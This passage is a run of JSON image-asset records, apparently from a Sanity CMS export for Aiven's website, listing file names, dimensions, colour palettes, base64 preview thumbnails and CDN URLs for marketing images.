weak":true}]}},"originalFilename":"logo-postgresql.svg","path":"images/sczeoy4w/production/1e41c5eca58a19a523cfc3597c6ff0f3baf71ea4-64x64.svg","sha1hash":"1e41c5eca58a19a523cfc3597c6ff0f3baf71ea4","size":1936,"title":"Aiven for PostgreSQL® logo","uploadId":"nL1hANFGW8nODejKbW6JTlIlb8c1ZCIl","url":"https://cdn.sanity.io/images/sczeoy4w/production/1e41c5eca58a19a523cfc3597c6ff0f3baf71ea4-64x64.svg"} {"_createdAt":"2022-07-08T09:49:22Z","_id":"image-1e4640fa4a2df470a73ad766649dbb8c9b48550f-1586x264-png","_rev":"cEPH2uRN58AU2lp9QO8P9d","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:32Z","assetId":"1e4640fa4a2df470a73ad766649dbb8c9b48550f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"47SY{rWV~q_3_3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":6.007575757575758,"height":264,"width":1586},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAADCAYAAACTWi8uAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAi0lEQVQImWWOwQ6DIBQE/f+/rALWqIAFUUGZxpd4aHrY7F5msk2tFWrl7jUlemMwWrF4zziOKKWk53mWhBCYpgmtNdZacs7CPmlECJznifcLbdvRG00MQWDnHCFG2Z8Q2LaNGCPee1JKwj2OP6G1jlfb8R4GUlrZ912g4zhk3ymlyKt751y4rutH+AWRNOgJgdVK7gAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#46352c","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2a3a5a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#46352c","foreground":"#fff","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8bcd0","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4b4d4","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac7c64","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5170ad","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1e4640fa4a2df470a73ad766649dbb8c9b48550f-1586x264.png","path":"images/sczeoy4w/production/1e4640fa4a2df470a73ad766649dbb8c9b48550f-1586x264.png","sha1hash":"1e4640fa4a2df470a73ad766649dbb8c9b48550f","size":82517,"uploadId":"BLo1HnVQOqWfyA8K5pxDV0lIMS43CGTl","url":"https://cdn.sanity.io/images/sczeoy4w/production/1e4640fa4a2df470a73ad766649dbb8c9b48550f-1586x264.png"} {"_createdAt":"2023-11-14T15:44:07Z","_id":"image-1e729c6110f6cffd981dc45d047b2ade0388a5d6-2500x1313-jpg","_rev":"1h3WMBnk967znzaf4aIKOX","_type":"sanity.imageAsset","_updatedAt":"2023-11-14T15:44:07Z","assetId":"1e729c6110f6cffd981dc45d047b2ade0388a5d6","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHSx_:_OC8.9UbtQxaNFsCWBzAL3v}ROpw","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.904036557501904,"height":1313,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGBP/EACMQAAEEAgEDBQAAAAAAAAAAAAEAAgMEBRESEyFBBjEyUZH/xAAWAQEBAQAAAAAAAAAAAAAAAAAHAQX/xAAaEQEAAgMBAAAAAAAAAAAAAAACAQMABBFh/9oADAMBAAIRAxEAPwBnTdRETOYHPXfYVf6Kq4/JZZsUsLTC1hOz9qFY48We34n+JszVGdWtIY5NfJqOKbiLSmexGKe/SnUiFMTPuMMtWNHJ2a5B0x549vHhCx3rlizP1Z5XPkIG3FCuxu1KxIjkZl6+jZXUSn2Yj3P/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5d706c","foreground":"#fff","population":0.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#043518","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9bc8bd","foreground":"#000","population":1.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7bd77","foreground":"#000","population":0.7,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a57e58","foreground":"#fff","population":0.36,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":13.72,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"The_Total_Economic_Impact_Of_The_Aiven_Platform_meta_preview_image_1200x630.jpg","path":"images/sczeoy4w/production/1e729c6110f6cffd981dc45d047b2ade0388a5d6-2500x1313.jpg","sha1hash":"1e729c6110f6cffd981dc45d047b2ade0388a5d6","size":206922,"uploadId":"TFvweW23yqqv75PrT2vWnvuarRr19Ff9","url":"https://cdn.sanity.io/images/sczeoy4w/production/1e729c6110f6cffd981dc45d047b2ade0388a5d6-2500x1313.jpg"} {"_createdAt":"2024-08-09T12:07:27Z","_id":"image-1eb436ba92a4385be9ad6c1d09f170632b777a0e-1280x720-jpg","_rev":"msvVOwV0ly404Y5JqDd060","_type":"sanity.imageAsset","_updatedAt":"2024-08-09T12:07:27Z","assetId":"1eb436ba92a4385be9ad6c1d09f170632b777a0e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHELU6=|^%%2t,%h#j-oRj-9~VslVsofJU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAYDBQf/xAAiEAABBAICAQUAAAAAAAAAAAACAQMEBQAREiFhBiIxUYH/xAAVAQEBAAAAAAAAAAAAAAAAAAACBP/EABsRAAICAwEAAAAAAAAAAAAAAAEDAAIEETFB/9oADAMBAAIRAxEAPwBQ9a2clmW4kqYbTRGXY98freIjpTJL+m57pKS+1OSpvzmo3cdmTWAL7YmJknLafORu01fDYR6PFAHBDSL2uk/ctQwIWSsclTWFhrW/spaGyCJCJp2zMjQ1VVIvCYYvWrDQzC4gibTa6wwjKuRswHDXvpn/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#53294c","foreground":"#fff","population":5.92,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#070761","foreground":"#fff","population":6.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#070761","foreground":"#fff","population":6.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9197b6","foreground":"#000","population":2.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cf917d","foreground":"#000","population":2.36,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#874343","foreground":"#fff","population":5.41,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d55220","foreground":"#fff","population":3.98,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"podcast10-open-source.jpg","path":"images/sczeoy4w/production/1eb436ba92a4385be9ad6c1d09f170632b777a0e-1280x720.jpg","sha1hash":"1eb436ba92a4385be9ad6c1d09f170632b777a0e","size":141720,"uploadId":"Zt21SHWzSrC0HhCUSbBT16XdlrqNcvyZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/1eb436ba92a4385be9ad6c1d09f170632b777a0e-1280x720.jpg"} {"_createdAt":"2024-07-10T12:20:19Z","_id":"image-1ec0ec5ecbc924c40690a14d6c4972fda5e41d6e-7952x5304-jpg","_rev":"ZgPiUE9lJ1tcRKuFnUcXd7","_type":"sanity.imageAsset","_updatedAt":"2024-07-10T12:20:19Z","assetId":"1ec0ec5ecbc924c40690a14d6c4972fda5e41d6e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VtHx{NS5NHofRk.TogW=ofj[yER,aeoLWXR.RkWBjsae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4992458521870287,"height":5304,"width":7952},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABgAEB//EACQQAAIBAwMDBQAAAAAAAAAAAAECAwAEEQUGMRIhQRMyUmFx/8QAFQEBAQAAAAAAAAAAAAAAAAAAAQL/xAAdEQACAgEFAAAAAAAAAAAAAAABAgADUQQREhSx/9oADAMBAAIRAxEAPwBNbb70meORNP0oyy4wvU45/K22m/T6EkKaYlnKqEswYePNcm2jaRNJIJFDMqZDcEUisbC1trucvG0rzx9TMznPc8VL32MSd4JTWgA4xBLvqG4KyN2LD51UZvdIghnKJ7cAgY4+qqBqXzK66Y9n/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#544237","foreground":"#fff","population":8.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#231a09","foreground":"#fff","population":1.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#544237","foreground":"#fff","population":8.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c2b7a6","foreground":"#000","population":7.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6ab4e3","foreground":"#000","population":0.57,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a97564","foreground":"#fff","population":0.37,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3ca4dc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Oktoberfest1.jpg","path":"images/sczeoy4w/production/1ec0ec5ecbc924c40690a14d6c4972fda5e41d6e-7952x5304.jpg","sha1hash":"1ec0ec5ecbc924c40690a14d6c4972fda5e41d6e","size":5256715,"uploadId":"iqa7b5AZx47fabyQXu5wPYc2GGIN6E8x","url":"https://cdn.sanity.io/images/sczeoy4w/production/1ec0ec5ecbc924c40690a14d6c4972fda5e41d6e-7952x5304.jpg"} {"_createdAt":"2022-06-17T08:37:17Z","_id":"image-1ec603757c4de0e266dd8200a641b7adc1a773bd-200x200-jpg","_rev":"qkpX9b3U0TpOGFQp9CiS8V","_type":"sanity.imageAsset","_updatedAt":"2022-06-27T13:25:45Z","altText":"Alexey Indeev","assetId":"1ec603757c4de0e266dd8200a641b7adc1a773bd","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"ewP6~xof~qofWB_3j[D%ayM{ayayayfQj[M{j[t7fQt7xufQRjj[ay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":200,"width":200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAgGBwP/xAAmEAABAwIDCQEAAAAAAAAAAAABAAIDBBEGEiEFBwgTFBUxQXFh/8QAFAEBAAAAAAAAAAAAAAAAAAAAAP/EABQRAQAAAAAAAAAAAAAAAAAAAAD/2gAMAwEAAhEDEQA/AKneSGkjzbRZnC9btOr2hV9bLG6BriAwNsWfl/axXETvEr8CbApOziMVtY8sa94vkA92XEMM79cWCvog5lM6JsgE4DNZbnyf1BZaLxo5uopIZrW5jA630Ig45xR0lPPgfmzQsfLGSWPI1b8U0bq8vf6cuYx45sZyvFwdURBflNbp4rAAZRoPiIiD/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444444","foreground":"#fff","population":0.65,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.8,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.8,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848484","foreground":"#fff","population":0.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"alexey-indeev.jpg.jpg","path":"images/sczeoy4w/production/1ec603757c4de0e266dd8200a641b7adc1a773bd-200x200.jpg","sha1hash":"1ec603757c4de0e266dd8200a641b7adc1a773bd","size":5563,"title":null,"uploadId":"zYPRRJIDUUfaWRg9su2bEZKx2e8rhbKM","url":"https://cdn.sanity.io/images/sczeoy4w/production/1ec603757c4de0e266dd8200a641b7adc1a773bd-200x200.jpg"} {"_createdAt":"2023-06-07T13:25:27Z","_id":"image-1ec7c6ca17f9b365a85616abc4bcbc4e0c7ebc6e-1920x1037-jpg","_rev":"OSa4Of7leLeKOMRysgeXiC","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:25:27Z","assetId":"1ec7c6ca17f9b365a85616abc4bcbc4e0c7ebc6e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MaGl^=VsQ,9bV?yZVradJBRiE1skNfWXxZ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAcEBf/EACIQAAEDBAICAwAAAAAAAAAAAAIBAwQABQYREyESMWFxgf/EABUBAQEAAAAAAAAAAAAAAAAAAAQD/8QAIBEAAQMEAgMAAAAAAAAAAAAAAQACEQMEEiEiYUFx4f/aAAwDAQACEQMRAD8A14A1a8fjvpfYTc7kPYcQeRB9rXdjXS2ybzwwGxgCY7QHOtfNTvH7jLDMFYF8kZXew616pmsl566tuuGquCCChJ0qJ+U5lzi6AOR8++kCpZ5gAngI1G9d/FX7JPiQ4SsuSWyJDJd+ad0qH2Jht+DyPIpmprtVJaVEmoDtyU1rIENX/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d4158","foreground":"#fff","population":3.9,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a547b","foreground":"#fff","population":6.64,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#64c5f4","foreground":"#000","population":7.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbb19a","foreground":"#000","population":2.83,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#64c5f4","foreground":"#000","population":7.14,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8f705c","foreground":"#fff","population":0.6,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0aa1de","foreground":"#fff","population":1.26,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"talon-customer-img.jpg","path":"images/sczeoy4w/production/1ec7c6ca17f9b365a85616abc4bcbc4e0c7ebc6e-1920x1037.jpg","sha1hash":"1ec7c6ca17f9b365a85616abc4bcbc4e0c7ebc6e","size":1299518,"uploadId":"r62xwamOGI832JN0cRPc3Gv64lXFTCw9","url":"https://cdn.sanity.io/images/sczeoy4w/production/1ec7c6ca17f9b365a85616abc4bcbc4e0c7ebc6e-1920x1037.jpg"} {"_createdAt":"2024-03-05T16:14:39Z","_id":"image-1ee8e39a79b052a9cdab748dc34750aa9d652edf-1280x720-jpg","_rev":"wlmKp1TUxaN4Rr151IeUFG","_type":"sanity.imageAsset","_updatedAt":"2024-03-05T16:14:39Z","assetId":"1ee8e39a79b052a9cdab748dc34750aa9d652edf","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M88gak5u-1ws0h-@NXjXj^R.56-UNHNH-S","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":720,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYDBAUH/8QAIRAAAgICAgIDAQAAAAAAAAAAAQIDBAARBSFBYQYUIjH/xAAWAQEBAQAAAAAAAAAAAAAAAAAEAwb/xAAaEQACAwEBAAAAAAAAAAAAAAABAgADEQQy/9oADAMBAAIRAxEAPwDj1GSolOMvXUtrs77OTcN9K7zVaGzCiVWk/QB7PrMSi7a11oKfGUJZXitxNGxUhtgjNDa5rpYiHX0Ix/KYeMh5yxHTAWEHpQf56wxPtyvJZkd2LMzEknzhgq+5kQKRuSjoGYkT/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#363160","foreground":"#fff","population":0.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":8.85,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":8.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7c82ba","foreground":"#fff","population":0.63,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cdd2ef","foreground":"#000","population":3.5,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b1897d","foreground":"#fff","population":8.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c1582c","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"IntroCard_2.jpg","path":"images/sczeoy4w/production/1ee8e39a79b052a9cdab748dc34750aa9d652edf-1280x720.jpg","sha1hash":"1ee8e39a79b052a9cdab748dc34750aa9d652edf","size":429217,"uploadId":"BZxtxd4m9M8Bwv9KdpVc2Lznk1PBK0SY","url":"https://cdn.sanity.io/images/sczeoy4w/production/1ee8e39a79b052a9cdab748dc34750aa9d652edf-1280x720.jpg"} {"_createdAt":"2023-06-13T12:30:36Z","_id":"image-1eefb382b6c9bd7c9eac32d7fb44081cc8373c96-1200x630-jpg","_rev":"LlMsTfwmVHcho3tE0vYo9T","_type":"sanity.imageAsset","_updatedAt":"2023-06-13T12:30:36Z","assetId":"1eefb382b6c9bd7c9eac32d7fb44081cc8373c96","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQR[WB{yI=Si,n-mOGaKw]Ne+sI]oft2Ny","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAUDBP/EACIQAAIBBAEEAwAAAAAAAAAAAAEDAgAEERIFEyExQRRRkf/EABYBAQEBAAAAAAAAAAAAAAAAAAcCBP/EAB8RAAIBBAIDAAAAAAAAAAAAAAEDAgAEETESgSFBYf/aAAwDAQACEQMRAD8AsWnwyle/T2x3+66bvkeNsELkwwiZHWJPjNRZHKo+PyqC7VFzZAPVBgj3Gwzg0dKasMAdHMfeN0pXqp8CVy8/dVpx73zTIuuETO5wYn16pToKWAILjEY8AUqW3FvKZMQcdViWhoiASM91/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#212b77","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#28348d","foreground":"#fff","population":6.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.74,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#964802","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fb8821","foreground":"#000","population":9.94,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#973101","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":12.74,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"lp-cost-optimisation-meta-preview.jpeg","path":"images/sczeoy4w/production/1eefb382b6c9bd7c9eac32d7fb44081cc8373c96-1200x630.jpg","sha1hash":"1eefb382b6c9bd7c9eac32d7fb44081cc8373c96","size":48696,"uploadId":"cx6hU2Lwdl7arSStW5k5HpezmocB7ALW","url":"https://cdn.sanity.io/images/sczeoy4w/production/1eefb382b6c9bd7c9eac32d7fb44081cc8373c96-1200x630.jpg"} {"_createdAt":"2024-08-28T16:02:47Z","_id":"image-1ef9f460083d7341ed456cdf25f581882494fd51-852x589-jpg","_rev":"uQRNMiDfrp20RZ8Id7fGw3","_type":"sanity.imageAsset","_updatedAt":"2024-08-28T16:02:47Z","assetId":"1ef9f460083d7341ed456cdf25f581882494fd51","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"V5Fq5O}Y0h0gIY[p}m0h03D,1*~S]%5SW-5m0$J,kSS2","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4465195246179967,"height":589,"width":852},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAOABQDASIAAhEBAxEB/8QAGQAAAQUAAAAAAAAAAAAAAAAAAAIDBAYH/8QAJhAAAgEDAwMEAwAAAAAAAAAAAQMCAAQFBhIhERNRIjFCYXGRwf/EABUBAQEAAAAAAAAAAAAAAAAAAAQF/8QAHxEBAAEEAQUAAAAAAAAAAAAAAQIAAxGREgQTIYHh/9oADAMBAAIRAxEAPwDNtFX2Kxsu8mS7jIGUvU5hC4D+0xqDG2N12rm3Wxt089ZKXA7PfnoaTEWMWF2ITJCTzGLIgkfnzQ3U99j4MDG7t3ETBYG0fVRGxcJ84L7atnUWu3xkGvtVnUK7GzyJS+ZLRAGQhyAfFFSrvVmOk+RvMMu6d8mzPQn9UU2JMDI7KBKRnwmmv//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a5330","foreground":"#fff","population":1.44,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a1106","foreground":"#fff","population":0.5,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e66712","foreground":"#fff","population":8.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#907608","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6d85d","foreground":"#000","population":3.33,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e905e","foreground":"#fff","population":0.34,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e66712","foreground":"#fff","population":8.1,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Cedar-Planked-Salmon-f3d447e2bbb8b30_f3d448a5-da66-b50a-5620793cb038520f.jpg","path":"images/sczeoy4w/production/1ef9f460083d7341ed456cdf25f581882494fd51-852x589.jpg","sha1hash":"1ef9f460083d7341ed456cdf25f581882494fd51","size":64136,"uploadId":"ELLijJgRds9m7nq449AEUNxavPGnzzYH","url":"https://cdn.sanity.io/images/sczeoy4w/production/1ef9f460083d7341ed456cdf25f581882494fd51-852x589.jpg"} {"_createdAt":"2022-06-30T19:58:48Z","_id":"image-1f0487c91b3b9f94104668041da229cf08b09e92-1600x471-jpg","_rev":"6BJll63fjycTvao7AvRwy9","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T10:39:49Z","assetId":"1f0487c91b3b9f94104668041da229cf08b09e92","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"DLSUCE}]PCJ:[8:+Q.n4n%S$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.397027600849257,"height":471,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAGABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAMFBv/EAB4QAAICAgIDAAAAAAAAAAAAAAECAAMEEQUSEzFB/8QAFgEBAQEAAAAAAAAAAAAAAAAABgMH/8QAHhEAAgIBBQEAAAAAAAAAAAAAAQIAAwQkMkFRsXH/2gAMAwEAAhEDEQA/ANJlcdiU8SuSvZrAoOmUalLl2EUC2tEXoQSvwxEN5rFcikDsezUK3Z6XLHkybDdrafIdL2OwB6EREK551Vn0+yybRP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6c2c69","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8a3986","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":11.82,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#960214","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc3c54","foreground":"#fff","population":10.3,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#974501","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":11.82,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"1f0487c91b3b9f94104668041da229cf08b09e92-1600x471.jpg","path":"images/sczeoy4w/production/1f0487c91b3b9f9410466